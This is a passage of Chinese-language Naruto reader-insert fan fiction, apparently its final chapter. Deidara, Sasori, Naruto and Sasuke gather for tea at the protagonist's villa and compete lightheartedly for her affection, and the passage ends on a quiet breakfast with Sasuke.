轻飘飘地丢下一句话,然后转身走进自己的办公室,一整个下午都没有出来过,等得迪达拉都不耐烦了,他气鼓鼓地说:“我来这里可不是来坐冷板凳的!” 蝎瞥了一眼他坐的沙发,说:“你坐的是沙发。” 迪达拉被哽了一下,又说:“我这只是一种比喻而已,你难道还听不懂吗?” 蝎当然是听懂了的,他就是故意那么说的而已,他说:“你那么急性子,难怪她也会一直觉得你是个小孩子。” 这话算是戳中迪达拉的死穴了,迪达拉双手环胸,说:“但是我的优势也胜在年轻。”言下之意就是对方的劣势是年纪大。 蝎可不会那么轻易地就被激怒,他说:“这种等级的激将法对我不会奏效的。” 迪达拉冷哼一声,眼神又看向你的办公室房门,也不知道这扇门什么时候打开。 “不要用这种可怜兮兮的眼神盯着看个不停。”蝎凉飕飕地说,在迪达拉生气前又补充一句,“我这只是友好的建议而已。” 这算哪门子的友好啊,迪达拉撇撇嘴,他显然是故意那么说的。 迪达拉的大部分注意力都在你身上,也不知道盯着那扇紧闭的房门看了多久,几乎是下一秒发生的事情,那扇门总算是被你从里面 打开了,你一开门就看见了,眼巴巴看向这里的迪达拉。 他该不会一直都在看着这里吧?这样听上去就有点可怜了,但也只是一点点而已,你对着迪达拉点点头,没什么歉意地说:“抱歉,让你们久等了。” 迪达拉本来还想说自己等了好久,估计等了有一整个下午了吧,他才不会被你那么轻飘飘的一句话给打发了呢,但是,一听到你的声音他就觉得自己好像也没必要和你斤斤计较,是的,只有小孩子才会揪着这个小细节不放,而他现在可不是小孩子了。 所以,所以他应该表现得成熟一些,迪达拉在心里这么提醒自己,他抬起头,说:“还好,也没有等很久。” 此话一出,坐在旁边的蝎投来疑惑的眼神,他刚才可不是这样的啊,该说他很会伪装吗?他的演技什么时候变得这么好了? 感觉到搭档的目光,迪达拉轻咳一声,像是在掩饰自己的心虚,又说:“那你现在应该有空了吧?” “嗯,有空,你们喝过下午茶了吗?来一杯玫瑰红茶吧。”你一看就知道他们肯定还没喝过下午茶,就朝着厨房走去,迪达拉本来是跟在你身后的,但是他忽然之间察觉到了什么。 在战斗中磨练出来的直觉让他有种不太好的预感,总觉得好像有什么东西在靠近。 事实证明他的预感没有出错,确实有东西靠近了这座别墅,而且还不止一个,是两个。 迪达拉回过头,皱着眉,说:“有什么东西要来了。” 他的话音落下,别墅的门铃声就响起。 嗯?有客人吗?你看向那扇门,不需要你说些什么,白就很自然而然地朝着门口走去,一打开门,映入眼帘的是两张熟悉的面庞。 “是佐助和鸣人啊,这个时间点你们不应该在木叶吗?”你的语气很平淡,就像是迎接两位客人,不怎么惊讶。 鸣人先一步开口,他兴奋地对你挥挥手:“我们这两天正好有空,就想着来看看明希你,真巧,明希你正好在家呀!” 他们估计是早就确定了你的具体位置才来的这里,而不是像他说的那样只是来碰碰运气的。 你让他们两个进门,鸣人也不是两手空空来见你的,手里还提着一份小礼物,佐助也是一样。 礼物不礼物的倒是不重要,就是鸣人在看见你客厅里的另外两个客人时惊讶了一下,说:“啊——这个,不是之前在战场上?” 迪达拉没好气地单手叉腰,问道:“你该不会不记得我的名字吧?” 一下子就被戳穿了的鸣人干巴巴地笑着,“哈哈哈——这个,但我知道你,用黏土炸.弹的小子。” “喂——什么小子啊!你的年纪分明就比我小吧!?”迪达拉没好气地说。 “哇,你那么生气干什么啊!” 在鸣人和迪达拉吵起来的时候佐助走到你身边,他说:“希望我没有打扰到你。” 果然还是佐助更加沉稳一些,你说:“没有,你来得正好,走吧,我正要去厨房泡茶呢。” 于是乎等鸣人和迪达拉反应过来的时候你已经带着佐助去到厨房,他负责烧水,你负责拿出茶叶,在此期间你们有一搭没一搭地聊着,这次他很默契地没有再和你谈论他的哥哥,宇智波鼬这号人物就像是从你们的对话中彻底消失了,连一点影子都找不到。 佐助不提,你也想不起来还有这号人。 打开燃气开关,将水壶放在上面,距离水烧开还有一段时间,佐助就是在这段时间里说着当时的战况,你心不在焉地听着,说实话你对这场战争也不怎么感兴趣,反正都已经结束了,或许中间确实发生了很多事情,但人总归是要往前看的。 于是你说:“还好你活下来了,这就是最重要的。” 你说这句话的本意只是想要暂时结束这个话题然后跳转到下一个话题而已,但不凑巧的是这话让赶来的鸣人和迪达拉听见了。 他们一个擅长叽叽喳喳,还有一个聒噪起来是真的聒噪。 结果可想而知。 你捂着自己的耳朵,说:“你们能稍微安静一点吗?” 还好他们还算能听得进你说的话,真的安静下来了,安静是安静了,就是还用可怜兮兮的眼神看着你。 你说:“你们对我来说也很重要。” 反正言语本身就是具有迷惑性的,真真假假,真假掺半,谁又能发现呢? 鸣人和迪达拉好应付不代表蝎也好应付,那句话怎么说的来着,哦对,上了年纪的人确实会更加难应付一些,这个道理非常适用于蝎。 但也无所谓,你没有照顾所有人心情的义务,你勉强说两句话安慰一下就差不多了,难不成还要你说很多,给他们当心理辅导吗? 想得未免也太多了一点,你合理认为这个世界的心理辅导价格应该七位数每小时起步才行,毕竟这个世界的人大多病得不轻。 想到这里,刚才放在燃气灶上架着的水壶也烧开了。 用温水泡茶,然后一群人围坐在开放式厨房的台面周围喝茶,这画面可以用和谐来形容,你喝了一口茶,心情放松下来,你说:“这样大家其乐融融地坐下来喝杯茶不好吗?” 已经改造成傀儡的蝎没有喝茶的需要,只是端着茶杯安静地注视着茶雾散开,这倒是很有参与感。 “这只是你想的其乐融融景象而已,你明明知道我们来这里是为了什么的。”蝎说话就直接多了,而且还不会被你给带偏,唉,年纪大的人就是难骗。 你摊手,“我知道啊,但是,你们想要问的答案我很难给出回答。” 鸣人着急了,他举起手,感觉就像是在学校里急于回答老师问题的学生,尽管你并没有问什么,但他还是抢答了,他说:“我可以当明希的情人哦!” 他的声音清脆,滑过“情人”这两个字的声音更是清脆悦耳。 迪达拉暗骂一声“可恶”,又唯恐落后于他人,就也连忙说:“我也可以做到的,不对,我能做得比他还好!” 于是乎又开始了新一轮的明争暗斗,你看着他们暗暗较劲,不对,应该是都摆在明面上的较劲,你说:“可以啊,你们都可以当我的情人,嗯,佐助也可以。”你说话的口吻就像是在扩大招生计划似的,一本正经。 “诶?”鸣人眨巴眨巴眼睛。 从某种程度上来说,鸣人和迪达拉真的有点像,要是放在漫画或者是游戏里估计就是属于撞人设的那种角色了吧? 你身边的佐助出奇的安静,安静得有些不正常了,你侧过头一看,真担心一转眼就看见了他掉眼泪的样子。 好消息,没有掉眼泪。 坏消息,好像感动得就要哭了。 要是换成他的哥哥宇智波鼬哭泣的话你大概也不会多在意,甚至还会让他自己调整一下情绪,但现在待在你身边的是他的弟弟,这就让你有些担心了,你说:“你要哭的话记得和我说一声。” 不过到最后佐助都没有哭。 你以为这件事情就会跟小插曲似的翻篇,但伴随着日后找上门来的人越来越多,感觉已经到了可以开派对的程度,你不合时宜地庆幸了一下自己住的是别墅,来那么多人也不会显得拥挤。 不过人变多了,矛盾也会一个接着一个地冒出来,你都有些搞不明白他们为什么会有那么多的事情可以争论。 最后感觉有些聒噪的你在某天晚上对这些客人说:“虽然我可以允许你们待在这里,但是,这是建立在你们听话的基础上的,如果你们总是惹麻烦,那我就要考虑把你们请出去了。” 你说的这一番话也确实发挥了一些作用,他们确实没再那么明显的斗争。 就是将斗争从明面上转移到背地里而已,但你本来也没想着能够从根源上解决这些冒犯,反正只要不闹到你面前就行,至于其他的,也不重要。 后来在某个安静的早上,你坐在餐厅里吃早餐,佐助在你身边坐下,什么话都没说,但你却觉得这样的气氛刚刚好,不需要说些别的什么来活跃气氛。 你放下茶杯,再抬起头,和他相视一笑,后者说:“这是我最近几年一直在梦想着的早晨。” “什么?” “和你坐在一块喝茶的,非常静谧美好的早晨。”他说。 那他还真是特别啊,所思所想的也只是和你坐在一块喝茶而已。 你说:“那恭喜你梦想实现了。” 【正文完】《 》